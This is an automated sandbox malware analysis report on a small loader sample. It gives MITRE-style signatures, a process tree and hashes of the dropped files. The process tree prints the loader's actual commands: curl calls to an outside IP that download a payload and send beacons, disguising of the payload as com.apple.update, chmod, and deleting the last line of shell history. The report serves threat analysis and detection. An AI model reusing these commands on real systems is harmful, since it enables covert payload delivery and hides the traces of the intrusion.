Analysis

  • max time kernel
    13s
  • max time network
    10s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/07/2026, 00:10

General

  • Target
    2b7e5ef01e7
  • Size 4KB
  • Sample260710-aghv1act2s
  • SHA256 ed2a4924259bb0691775a9624027db27a69d733c9cc8a5cae22e77b090819bfe
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2b7e5ef01e7
    /tmp/2b7e5ef01e7
    1⤵
    • Executes dropped EXE
    PID:641
    • /usr/bin/arch
      arch
      2⤵
        PID:647
      • /bin/uname
        uname -r
        2⤵
          PID:652
        • /usr/bin/whoami
          whoami
          2⤵
            PID:664
          • /bin/mktemp
            mktemp -d
            2⤵
              PID:668
            • /bin/mkdir
              mkdir -p /root/Library/Caches/com.apple.trustd
              2⤵
                PID:669
              • /usr/bin/pkill
                pkill -9 -f com.apple.update
                2⤵
                • Reads CPU attributes
                • Reads runtime system information
                PID:672
              • /bin/sleep
                sleep 0.4
                2⤵
                  PID:676
                • /bin/uname
                  uname -r
                  2⤵
                    PID:680
                  • /usr/bin/head
                    head -1
                    2⤵
                      PID:683
                    • /usr/bin/wc
                      wc -c
                      2⤵
                        PID:684
                      • /usr/bin/base64
                        base64 -D
                        2⤵
                        • Deobfuscate/Decode Files or Information
                        PID:687
                      • /usr/bin/getconf
                        getconf DARWIN_USER_CACHE_DIR
                        2⤵
                          PID:689
                        • /usr/bin/base64
                          base64 -D
                          2⤵
                          • Deobfuscate/Decode Files or Information
                          PID:692
                        • /usr/bin/head
                          head -c8 /dev/urandom
                          2⤵
                            PID:694
                          • /usr/bin/tr
                            tr -d " \\n"
                            2⤵
                              PID:696
                            • /usr/bin/od
                              od -An -tx1
                              2⤵
                                PID:695
                              • /bin/uname
                                uname -m
                                2⤵
                                  PID:698
                                • /usr/bin/curl
                                  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"e9bbebc390038e80\",\"src\":\"http://176.124.221.70/e7c9681c264898c1?force=1\"}" -m 5
                                  2⤵
                                  • Checks CPU configuration
                                  PID:697
                                • /usr/bin/cut
                                  cut -d: -f2
                                  2⤵
                                    PID:702
                                  • /usr/bin/head
                                    head -1
                                    2⤵
                                      PID:701
                                    • /usr/bin/arch
                                      arch
                                      2⤵
                                        PID:703
                                      • /usr/bin/curl
                                        curl -kfsSL "http://176.124.221.70/fe9e6a53d05392?force=1" -o /tmp/tmp.U4fCbX1nBs/.r17aaX
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:706
                                      • /bin/sed
                                        sed -i "\$d" /root/.zsh_history
                                        2⤵
                                          PID:705
                                        • /bin/sed
                                          sed -i "\$d" /root/.bash_history
                                          2⤵
                                          • Reads Bash history
                                          • Reads runtime system information
                                          PID:707
                                        • /bin/uname
                                          uname -r
                                          2⤵
                                            PID:709
                                          • /usr/bin/curl
                                            2⤵
                                            • Checks CPU configuration
                                            PID:756
                                          • /bin/chmod
                                            chmod +x /tmp/tmp.U4fCbX1nBs/.r17aaX
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:757
                                          • /bin/cp
                                            cp /tmp/tmp.U4fCbX1nBs/.r17aaX /root/Library/Caches/com.apple.trustd/com.apple.update
                                            2⤵
                                              PID:760
                                            • /bin/chmod
                                              chmod +x /root/Library/Caches/com.apple.trustd/com.apple.update
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:781
                                            • /usr/bin/curl
                                              curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"exec_start\",\"rid\":\"e9bbebc390038e80\",\"src\":\"http://176.124.221.70/e7c9681c264898c1?force=1\"}" -m 5
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              PID:786
                                            • /bin/sleep
                                              sleep 3
                                              2⤵
                                                PID:791
                                              • /root/Library/Caches/com.apple.trustd/com.apple.update
                                                /root/Library/Caches/com.apple.trustd/com.apple.update
                                                2⤵
                                                  PID:790
                                                • /usr/bin/curl
                                                  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"exec_fail\",\"rid\":\"e9bbebc390038e80\",\"m\":{\"exit\":\"126\"}}" -m 5
                                                  2⤵
                                                  • Checks CPU configuration
                                                  PID:800
                                                • /bin/rm
                                                  rm -rf /tmp/tmp.U4fCbX1nBs
                                                  2⤵
                                                    PID:801

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Replay Monitor

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                                                      Downloads

                                                      com.apple.update

                                                      • Path /root/Library/Caches/com.apple.trustd/com.apple.update
                                                      • Size 40.6MB
                                                      • SHA256 e7ecacb798b548e9b90daed57338a09953c15bd94fa8fae3c3d0f1d354fb1a23
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                                      .r17aaX

                                                      • Path /tmp/tmp.U4fCbX1nBs/.r17aaX
                                                      • Size 47.5MB
                                                      • SHA256 03fd418836d1ffde97b7a30ea3b54cb1ca975027a8c54d8b3f6f9dca64334ebf
                                                      • MD5 SHA1 SHA512 SSDEEP TLSH